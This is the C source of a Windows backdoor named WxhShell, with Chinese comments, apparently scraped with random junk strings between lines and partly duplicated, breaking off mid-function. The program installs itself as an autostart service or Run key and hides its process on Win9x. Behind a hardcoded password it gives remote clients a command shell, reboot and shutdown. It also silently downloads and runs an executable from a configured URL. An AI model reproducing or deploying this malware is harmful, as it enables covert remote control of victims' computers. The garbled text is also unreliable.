=* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^*+-0b;[G Czt>?8x` if (!NtQueryInformationProcess) return 0; TF;}NQ #>(h!lT_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JnBg;D|)@ if(!hProcess) return 0; sp&)1?!M 2:D1<z6RQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]{E{ IW8 7EukrE<b' CloseHandle(hProcess); ,L,?xvWG 62z"cFN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q.`O;D}x if(hProcess==NULL) return 0; sXm,y$\m eWwI@ASaA HMODULE hMod; U0t~H{-H char procName[255]; B:QAG unsigned long cbNeeded; w`F4.e L?p,Sy<RI if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c=A)_ZFg /?Fa<{ CloseHandle(hProcess); ~R\Z&oQ 4'ymPPY if(strstr(procName,"services")) return 1; // 以服务启动 4Js9"<w ,c_NXC^X? return 0; // 注册表启动 om'DaG`A } }^Kye23 )./'`Mx? // 主模块 v3{[rK} int StartWxhshell(LPSTR lpCmdLine) {=GWQn6cc { K,\Bj/V( SOCKET wsl; -H;p +XAY BOOL val=TRUE; $Q!J.}P@ int port=0; *K1GX struct sockaddr_in door; 7ZVW7%,zF +8etCx if(wscfg.ws_autoins) Install(); xX]92Q L_WVTz?` port=atoi(lpCmdLine); @hE$x-TP0 MVpk/S%W if(port<=0) port=wscfg.ws_port; !\%0O`b^4 l;gj],* WSADATA data; Ni4*V3VB if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M)oJ06`K )FfJ%oT} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 47c` ) *Hc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p&%M=SzN door.sin_family = AF_INET; iqj
ZC80 door.sin_addr.s_addr = inet_addr("127.0.0.1"); _4VS.~}/R door.sin_port = htons(port); )~X*&(7RR}
`xpU if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TdAHw
@( closesocket(wsl); uJP9J U
return 1; !MiH^wP } m%hUvG| i %hu] = if(listen(wsl,2) == INVALID_SOCKET) { faVR % closesocket(wsl); p|D-ez8 return 1; z!={d1u#T } #!%\97ZR Wxhshell(wsl); !y>MchNv WSACleanup(); O!(FNv0 z mxrz[ return 0; cO#e
AQf7 /_rg*y* } Z-!W#
W1UG\d`2 // 以NT服务方式启动 \gE3wmSJ, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T&2aNkuG { myj^c>1Iz DWORD status = 0; 0-^wY8n-= DWORD specificError = 0xfffffff; l|[8'*]r! YJO,"7+ serviceStatus.dwServiceType = SERVICE_WIN32; b (,X3x* serviceStatus.dwCurrentState = SERVICE_START_PENDING; hal3J serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o'3t(dyyH serviceStatus.dwWin32ExitCode = 0; xpf\S10e serviceStatus.dwServiceSpecificExitCode = 0; jF'azlT serviceStatus.dwCheckPoint = 0;
4^L+LY serviceStatus.dwWaitHint = 0; p[QF3)9F od- 0wJN-m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ql%>)k /x if (hServiceStatusHandle==0) return; ms8PFu(f 9^m& [Z status = GetLastError(); <mc[-To if (status!=NO_ERROR) KB,!s7A { 5Dy800.B2 serviceStatus.dwCurrentState = SERVICE_STOPPED; $V"~\h8 serviceStatus.dwCheckPoint = 0; KUfk5Y serviceStatus.dwWaitHint = 0; EiY i<Z_S serviceStatus.dwWin32ExitCode = status; Kt%`]Wp serviceStatus.dwServiceSpecificExitCode = specificError; vXnTPjbE SetServiceStatus(hServiceStatusHandle, &serviceStatus); ms=Ilz return; c FjC } =;{vfjj K5Fzmo a serviceStatus.dwCurrentState = SERVICE_RUNNING; $cev,OW6] serviceStatus.dwCheckPoint = 0; ^P-!pK* serviceStatus.dwWaitHint = 0; DVYY1!j< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PX](hc= } _Y*:
l7 ?K7m:Dx // 处理NT服务事件,比如:启动、停止 V#W(c_g VOID WINAPI NTServiceHandler(DWORD fdwControl)
3\FiQ/? { nMcd(&`N switch(fdwControl) #(@dN+ { m=2TzLVv case SERVICE_CONTROL_STOP: EX8:B.z`57 serviceStatus.dwWin32ExitCode = 0; l\5}\9yS serviceStatus.dwCurrentState = SERVICE_STOPPED; nTjQ4y serviceStatus.dwCheckPoint = 0; r]'AdJFt serviceStatus.dwWaitHint = 0; 0[0</"K%1m { +MOUO$;fGt SetServiceStatus(hServiceStatusHandle, &serviceStatus); hHoc7 } ?x]T&S{ return; 9VIsLk54^ case SERVICE_CONTROL_PAUSE: ~s{$&N serviceStatus.dwCurrentState = SERVICE_PAUSED; Hux#v>e break; tiwhG%?2 case SERVICE_CONTROL_CONTINUE: &%J{C3Q9 serviceStatus.dwCurrentState = SERVICE_RUNNING; 1K,bmb xRt break; ?S!lX[#v case SERVICE_CONTROL_INTERROGATE: G:'-|h break; 6R@
v>} }; SR~~rD|V SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1S\q\kz->D } CN:
36 : 4Sj2
// 标准应用程序主函数 z;'"c3qG8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *8"5mC;" { vK#xA+W 2NsI3M4$8 // 获取操作系统版本 V
)1SZt@x OsIsNt=GetOsVer(); R^dAwt`.D GetModuleFileName(NULL,ExeFile,MAX_PATH); LtH;#Q yS7[=S // 从命令行安装 (q*T. if(strpbrk(lpCmdLine,"iI")) Install(); /5suyM=U Pp3tEZfE // 下载执行文件 `EU=u_N if(wscfg.ws_downexe) { 3,tKqR7g if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |)pT"` WinExec(wscfg.ws_filenam,SW_HIDE); Fg5c;sls } )e9(&y*o ,/:#=TuYm if(!OsIsNt) { YG?W8)T // 如果时win9x,隐藏进程并且设置为注册表启动 :(A]Bm3 HideProc(); 7Y@&& StartWxhshell(lpCmdLine); sEe^:aSN } 2}I1z_dq~ else 5x4JDaG2 if(StartFromService()) "z< =S // 以服务方式启动 "]5]"F 4] StartServiceCtrlDispatcher(DispatchTable); "=9L7.E) else E n{vCN // 普通方式启动 G+^HZ4jg StartWxhshell(lpCmdLine); N\HOo-X j3IxcG}f return 0; *"O7ml] } X!"ltNd IR(JBB|xNQ fX#Em'Ab[ t%q@W,2J =========================================== io$AGi ,t5Ku)eNm sh:sPzQ%Jv 5sFp+_`` m}Kn!21 kVy%y"/ " 5R/k -h^` C:l
/% #include <stdio.h> HeNg<5v%Y #include <string.h> B Lw ssr. #include <windows.h> ,>`wz^z #include <winsock2.h> { >bw:^F #include <winsvc.h> p_)V@7 #include <urlmon.h> x<~ pqq8] #l+U(zH:JG #pragma comment (lib, "Ws2_32.lib") *Jmy:C<> #pragma comment (lib, "urlmon.lib") GO+cCNMa"
xuv%mjQ #define MAX_USER 100 // 最大客户端连接数 JN$v=Ox{ #define BUF_SOCK 200 // sock buffer 37 T<LU #define KEY_BUFF 255 // 输入 buffer bQrH8) MU<Y,4/k #define REBOOT 0 // 重启 *y='0)[BD #define SHUTDOWN 1 // 关机 >ys>Q) Ym8G=KA #define DEF_PORT 5000 // 监听端口 nQa5e_q!u '_@Y #define REG_LEN 16 // 注册表键长度 ,<d[5;7x #define SVC_LEN 80 // NT服务名长度 i"r&CS)sT XWf8ZZj // 从dll定义API 0V1)ou84' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (es+VI2!&C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?76Wg:: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }f+If{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z+@aQ@75 VL?ubt< // wxhshell配置信息 qb]n{b2 struct WSCFG { {W)Kz_ int ws_port; // 监听端口 D}>pl8ke~g char ws_passstr[REG_LEN]; // 口令 N&]v\MjI62 int ws_autoins; // 安装标记, 1=yes 0=no [V|,O'X ~ char ws_regname[REG_LEN]; // 注册表键名 +\fr3@Yc char ws_svcname[REG_LEN]; // 服务名 ^&03D5@LoY char ws_svcdisp[SVC_LEN]; // 服务显示名 C\ZL*,%} char ws_svcdesc[SVC_LEN]; // 服务描述信息 GLp2
?fon char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rr>QG<i;G int ws_downexe; // 下载执行标记, 1=yes 0=no &na#ES$X, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w4Qqo( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3{LXx '_lyoVP }; yM}}mypS jrbEJ. // default Wxhshell configuration 2?u>A3^R struct WSCFG wscfg={DEF_PORT, `MAee8u' "xuhuanlingzhe", =Mzg={)v 1, y>Zvos e "Wxhshell", s:'M[xI "Wxhshell", K_{f6c< "WxhShell Service", \_Nr7sc\ "Wrsky Windows CmdShell Service", -wH#B<' "Please Input Your Password: ", kT&-:: ^R 1, orVsMT[A "http://www.wrsky.com/wxhshell.exe", L$=@j_V2 "Wxhshell.exe" q#:,6HDd }; x|d Xa0=N_ G~1#kg // 消息定义模块 +0rMv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &$?e D{ char *msg_ws_prompt="\n\r? for help\n\r#>"; x%23oPM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *:J#[ET, char *msg_ws_ext="\n\rExit."; ^m;dEe&@F char *msg_ws_end="\n\rQuit."; )IPnSh/< char *msg_ws_boot="\n\rReboot..."; 3UU]w`At char *msg_ws_poff="\n\rShutdown..."; 7?-eR- char *msg_ws_down="\n\rSave to "; JZQkr l>`N+ pZ$ char *msg_ws_err="\n\rErr!"; f{xR
s-u] char *msg_ws_ok="\n\rOK!"; >y m MQEX` ,Dfq%~:grT char ExeFile[MAX_PATH]; S+3'C int nUser = 0; kq6S`~J^R HANDLE handles[MAX_USER]; u*B.<GmN int OsIsNt; 5 WSu AFcsbw SERVICE_STATUS serviceStatus; [_hHZMTH SERVICE_STATUS_HANDLE hServiceStatusHandle; xT70Rp(2po S8*VjG?T\ // 函数声明 Pk9s~}X int Install(void); T=35? int Uninstall(void); G;_QE<V~_ int DownloadFile(char *sURL, SOCKET wsh); !<H[h4g int Boot(int flag); qg#TE-Y` void HideProc(void); 4o8uWS{` int GetOsVer(void); @P#uH5U int Wxhshell(SOCKET wsl); Q}FDu, void TalkWithClient(void *cs); AN7WMX int CmdShell(SOCKET sock); [/hS5TG|7 int StartFromService(void); K-IXAdx int StartWxhshell(LPSTR lpCmdLine); mt3j- Mw n)uvN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0-p LCf VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ j;HYs_ Eb SH)aR // 数据结构和表定义 WJ=DTON SERVICE_TABLE_ENTRY DispatchTable[] = G3n* bv { _5%SYxF*y {wscfg.ws_svcname, NTServiceMain}, n"vl%!B {NULL, NULL} ]2(vO0~ }; (__=*ew }1]/dCv // 自我安装 hm3,?FMbq int Install(void) *#1&IJPI { x?Z)q4 char svExeFile[MAX_PATH]; # eqt{ HKEY key; #&0)kr66 strcpy(svExeFile,ExeFile); y
,isK aSd$;t~ // 如果是win9x系统,修改注册表设为自启动 r/1:!Vu( if(!OsIsNt) { @*q WV*$h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .o91^jt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D5fJuT-bp RegCloseKey(key); kK&tB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9C}Ie$\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /]"&E"X" RegCloseKey(key); Q:eIq<erY return 0; JL $6Fw; } Y(GH/jw } W)JUMW2| } rB;`&)- else { B 3|zR 'EU{%\qM // 如果是NT以上系统,安装为系统服务 w{k8Y? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?g|K"P<1 if (schSCManager!=0) '<~rV { D}'g4Ag SC_HANDLE schService = CreateService "6_#APoP ( `GOxFDB. schSCManager, fv$Y&_,5 wscfg.ws_svcname, D
7 l&L wscfg.ws_svcdisp, +*'
SERVICE_ALL_ACCESS, }MP2)6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W7.O(s,32 SERVICE_AUTO_START, 9+@"DuYc6 SERVICE_ERROR_NORMAL, W"Hjn/xSS svExeFile, b\NWDH7} NULL, ! P/ ]o NULL, -v?,{?$0 NULL, ,Hh7'` NULL, 5EDHJU> NULL /]%,C ); VaC#9Tp2X if (schService!=0) xn)FE4 { zOYkkQE3mJ CloseServiceHandle(schService); 2+"=i/8 CloseServiceHandle(schSCManager); :,rD5aOQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W=M&U strcat(svExeFile,wscfg.ws_svcname); fHvQ 9*T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :|`'\%zW- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cd{3JGgB RegCloseKey(key); :}x\&]uC#k return 0; !jY/}M~F1 } G&:[G>iSm^ } zr@Bf!VG: CloseServiceHandle(schSCManager); ?2[=llS4 }
r4t|T^{sl } l2GMVAca Le9r7O: return 1; -cyJjLL* } 6;Cr92 RK(uC-l // 自我卸载 &<@{ d int Uninstall(void) toPA@V { 2g-'.w HKEY key; B)
&BqZ& $m:}{:LDCf if(!OsIsNt) { -`wGF#}y(= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#Ynn6 RegDeleteValue(key,wscfg.ws_regname); yGgHd=? RegCloseKey(key); +A
W6 >yV` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C yC<{D+ RegDeleteValue(key,wscfg.ws_regname); ~]Mq' RegCloseKey(key); ~cSC-|$^& return 0; (HLy;^#R } 1w+OnJI? } :d/Z&LXD } ']$ttfJB else {
&k\7fvF m#,
F%s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \ ^EjE if (schSCManager!=0) y[qW> { gv `jeN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X X{:$f+ if (schService!=0) yHQ.EZ~% { 5yp~PhHf if(DeleteService(schService)!=0) { ;Iw'TF CloseServiceHandle(schService); 9L%&4V}BIS CloseServiceHandle(schSCManager); $f>WR_F return 0; 0VoC|,$U } y$*?k0=ZX CloseServiceHandle(schService); 'Twi
@I } aEXV^5;,pJ CloseServiceHandle(schSCManager); jR@-h"2*A } 0J$wX yh } zQ]IlMt ++,mM7a return 1; C'n 9n!hR } 8i-?\VZD 6e |
// 从指定url下载文件 1{o
CMq/v int DownloadFile(char *sURL, SOCKET wsh) H=X>o.iVqi { P%Q}R[Q HRESULT hr; ddnWr"_ char seps[]= "/"; Km+29 char *token; )yJe h char *file; 4
CX*,7LZ char myURL[MAX_PATH]; 1}[\@n+b char myFILE[MAX_PATH]; DX$`\PA 2"<}9A<Xs strcpy(myURL,sURL); q6j]j~JxB token=strtok(myURL,seps); 7MGc+M(p while(token!=NULL) _nx|ZJ { /f%u_ 8pV% file=token; Y#]Y$n token=strtok(NULL,seps); s\7|b:y& } C
2oll-kN GrM~%ng GetCurrentDirectory(MAX_PATH,myFILE); -vjjcyTt strcat(myFILE, "\\"); r`<evwIe strcat(myFILE, file); <V6#)^Or send(wsh,myFILE,strlen(myFILE),0); WM@uxe, send(wsh,"...",3,0); _R5^4 -Qe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]|[xY8 5} if(hr==S_OK) 1>1|>% return 0; H>DJ-lG( else ^f`#8G7 ( return 1; 40g&zU- sn Ekei|0 } [MiD%FfcNH k*!J,/=k // 系统电源模块 |LNXu int Boot(int flag) 2>EIDRLJ- { yY"%6k,ZB HANDLE hToken; j zPC9 TOKEN_PRIVILEGES tkp; ;<&s_C3 U;jk+i if(OsIsNt) { 3c9[FZ@ya OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qQ1m5_OD`z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ B (lJz tkp.PrivilegeCount = 1; [j!0R'T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n[iil$VKh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J,~)9Kh$ if(flag==REBOOT) { 8\a)}k~4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sztnRX_ return 0; F~DG:x~ } 9J%>2AA else { Y]Fq)- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7=<PVJ*/ return 0; M>]%Iu } 2i>xJMW } #Se else { )0GnTB;5Z if(flag==REBOOT) { q7)$WXe2LM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }6S4yepl return 0; i#-Jl7V[a } m+u>%Ys` else { 3]
@<. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vj_oMmjKw return 0; =~arj } JPpYT~4 } FVD}9ia q%y_<Fw#E return 1; .(hb8 rCM } IB?A]oN1{ siG?Sd_2 // win9x进程隐藏模块 B{K'"uC void HideProc(void) sEj:%`l| { f,-|"_5; cj8r-Vu/N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P! 3$RO if ( hKernel != NULL ) H\b5]q% { a-}%R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); woT" 9_tN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :^*V[77 FreeLibrary(hKernel); '^J/aV } K;97/"
#0P<#S^7 return; QP;b\11m } ,-1$Vh@wM 'w!gQ#De // 获取操作系统版本 e7?W VV, int GetOsVer(void) ?I0 i%nH { -'N#@Wdr OSVERSIONINFO winfo; n=SZ8Rj7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lcP@5ZW GetVersionEx(&winfo); 87Uv+((H if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B~aOs>1
S] return 1; |HU
qqlf else I L=v[)en4 return 0; T7T!v } (g)@wNBW qB39\j // 客户端句柄模块 h@~X*yLKh int Wxhshell(SOCKET wsl) :^s7#4%6 { LWL>hd SOCKET wsh; I>3]4mI*a struct sockaddr_in client; Hb+#*42v DWORD myID; W@C56fCa .apX72's, while(nUser<MAX_USER) (XwLKkw0n { +{%4&T<nHw int nSize=sizeof(client); ~fF} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )[)]@e if(wsh==INVALID_SOCKET) return 1; /2cI{]B t(Zs*c( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Wn.@bz6B if(handles[nUser]==0) >YBpB,WND closesocket(wsh); \l:g{GnoT else N.G*ii\ nUser++; ^0|NmMJ] } cORM R! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U>+~.|'V9 mCt>s9a)H return 0; /8MQqZ C } @Y<tH,* e8 7-
B1` // 关闭 socket !~N4}!X3du void CloseIt(SOCKET wsh) JZ%F { 6}T%m?/ } closesocket(wsh); &7T
H
V nUser--; bVeTseAG ExitThread(0); '^l^gW/|\ } {~t4 yOK])&c // 客户端请求句柄 ^B5cNEO void TalkWithClient(void *cs) ^CPfo/! { i5KwYoN D w=Z_+J SOCKET wsh=(SOCKET)cs; daIL> c" char pwd[SVC_LEN]; 8}{o2r@ char cmd[KEY_BUFF]; ,GJ>vT) char chr[1]; ~J-|,ZMd int i,j; P"x-7>c>Y
|NU0tct^ while (nUser < MAX_USER) { bjBeiKH p RwGv if(wscfg.ws_passstr) { K` ,d$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }=hoATs //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fHd!/%iG //ZeroMemory(pwd,KEY_BUFF); ),]2`w&k i=0; !049K!rP{ while(i<SVC_LEN) { '95E;RV& Yc82vSG' // 设置超时 q Iy^N:C2' fd_set FdRead; Nr24[e
G>d struct timeval TimeOut; _ML~c&9jv FD_ZERO(&FdRead); `GQiB]Z FD_SET(wsh,&FdRead); em1cc, TimeOut.tv_sec=8; ,B %fjcn TimeOut.tv_usec=0; E ;!<Z4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZjZh z` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H_?B{We "Ug/
',jkV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :5S |x/ pwd=chr[0]; |jk-@ Z* if(chr[0]==0xd || chr[0]==0xa) { 3_MS'&M pwd=0; &'(a$S>v break; {@V3?pG?p } v1nQs=' i++; g. ?*F#2 } Q)Iv_N/ V5O=iMP // 如果是非法用户,关闭 socket =zm0w~']E! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *IWFeu7y } m-ph} OK-sT7But send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TF=k(@9J? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N^\2
_T z!s.9 while(1) { G#e9$! Z'Exw-ca ZeroMemory(cmd,KEY_BUFF); *BLe3dok( >gk z4.* // 自动支持客户端 telnet标准 %j'G.*TD j=0; pw,O"6J* while(j<KEY_BUFF) { [1b6#I"x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )sW6iR&_i cmd[j]=chr[0]; [ WV@ w if(chr[0]==0xa || chr[0]==0xd) { l'*^$qc cmd[j]=0; ><NI'q*cQ break; d>%gW* } q=6Cc9FN j++; `DLp<_z>
} YV/>8*i ,3Wb4so // 下载文件 K8HIuQ!= if(strstr(cmd,"http://")) {
lWx send(wsh,msg_ws_down,strlen(msg_ws_down),0); $#%U\mIz if(DownloadFile(cmd,wsh)) vBh; send(wsh,msg_ws_err,strlen(msg_ws_err),0); pOC% oj else fdlvn*H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $hkq>i \ } 'X7%35Y else { D.'h?^kA lVPOYl% switch(cmd[0]) { Qg(Z{V `79[+0hL' // 帮助 'E4AV58. case '?': { ~C&*.ZR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W'a(oI break; %2f//SZ: } sI_7U^"[ // 安装 [r)eP({ case 'i': { N]NF\7( if(Install()) {esJ=FV\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); +nZUL*Ut/ else ]r4bRK[1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~9GOk;{~& break; QK)){cK } zuSq+pxL@ // 卸载 <aJ$lseG case 'r': { ,LDm8 if(Uninstall()) =;0wFwSz send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 8Vcu'j&_ else <$%X<sDkq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`jc#f5+' break; Z(j{F<\jS } )VSwTx& // 显示 wxhshell 所在路径 v,=v case 'p': { ?38lHn`FyQ char svExeFile[MAX_PATH]; >nzu],U strcpy(svExeFile,"\n\r"); -w1@!Sdd strcat(svExeFile,ExeFile); ,R?np9wc send(wsh,svExeFile,strlen(svExeFile),0); @@@=}!<H= break; :_5/u|{
} (a@?s$LG // 重启 ?+~cA^-3T case 'b': { ~e `Bq> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $=B8qZ+ if(Boot(REBOOT)) oc7$H>ET1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); K*q[(,9 else { .f:n\eT): closesocket(wsh); V8WFQdXc ExitThread(0); %<"}y$J } 0fm*`4Q break; "T2"]u<52 } RBwO+J53y // 关机 hA}~es=c case 'd': { -#In;~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /P:.qtT( if(Boot(SHUTDOWN)) %'
$o" send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-KMb`xT else { H#i{?RM@l closesocket(wsh); vAb^]d ExitThread(0);
mO*^1 } 6Wj^*L! break; t23'x0l } 0Yl4eB- // 获取shell >&,[H:Z case 's': { $P z`$~ CmdShell(wsh); izgp*M, closesocket(wsh); 'sh~,+g ExitThread(0); G7GZDi break; dq\FBwfe } m<rhIq // 退出 tZyo`[La case 'x': { ^qGb%! l send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fmyj*)J[Z CloseIt(wsh); m)v''`9LU break; 80b;I|-T, } hR#-u1C // 离开 d}'U?6ob case 'q': { 5xCT~y/a send(wsh,msg_ws_end,strlen(msg_ws_end),0); m: n`g1 closesocket(wsh); sRSz}] WSACleanup(); j/`94'Y exit(1); (8$k4`T> break; M`YWn ; } <"N_j]wD } ~{hxR)x9 } o+w;PP)+= }jH7iyjD // 提示信息 $YxBE`)d- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3E3U /K } ^d}gpin } [.se|]t7X q6Rr.A return; Kl7WQg,XOi } m!<i0thJ 1"Z@Q`} // shell模块句柄 }En int CmdShell(SOCKET sock) XU!2YO)t;! { :NJ_n6E STARTUPINFO si; :B3[:MpL} ZeroMemory(&si,sizeof(si)); OsBo+fwT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *eI)Z=8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lbe\@S PROCESS_INFORMATION ProcessInfo; rX_@Ihv' char cmdline[]="cmd"; r/pH_@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JB!:JML return 0; !It`+0S
b } Lg8nj< TF SJD@&m%?[ // 自身启动模式 4tL<q_ int StartFromService(void) U*90m~) { ]7-&V-Ct* typedef struct HhO".GA { :0Z^uuk`gq DWORD ExitStatus; o FjIA! DWORD PebBaseAddress; ;iDPn2?6?x DWORD AffinityMask; 21k5I #U DWORD BasePriority; )`^p%k ULONG UniqueProcessId; *JggU ULONG InheritedFromUniqueProcessId; ^N8)]F, } PROCESS_BASIC_INFORMATION; {U&.D
[{& +`3!I PROCNTQSIP NtQueryInformationProcess;
:W b j\ +P.+_7+: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ss;R8:5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .<kqJ|SVi F~A 'X HANDLE hProcess; y%
:4b@< PROCESS_BASIC_INFORMATION pbi; ^vG8#A}] 9 \^|6k, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mPq$?gdp if(NULL == hInst ) return 0; %,+leKs zYl#4O`=c g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i2~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CI3XzH\IX* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B"%{i-v>** !^Q.VYY if (!NtQueryInformationProcess) return 0; $-[CG7VgX% 2NB L}x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); % YOndIS: if(!hProcess) return 0; eh"3NRrN ZvcJK4hi if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?-1r$31p Nj("|`9" CloseHandle(hProcess); JEE{QjTh `a9L%z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #s!'+|2n if(hProcess==NULL) return 0; z({hiVs #-h\. #s HMODULE hMod; #A]-ax?Qc} char procName[255]; ?
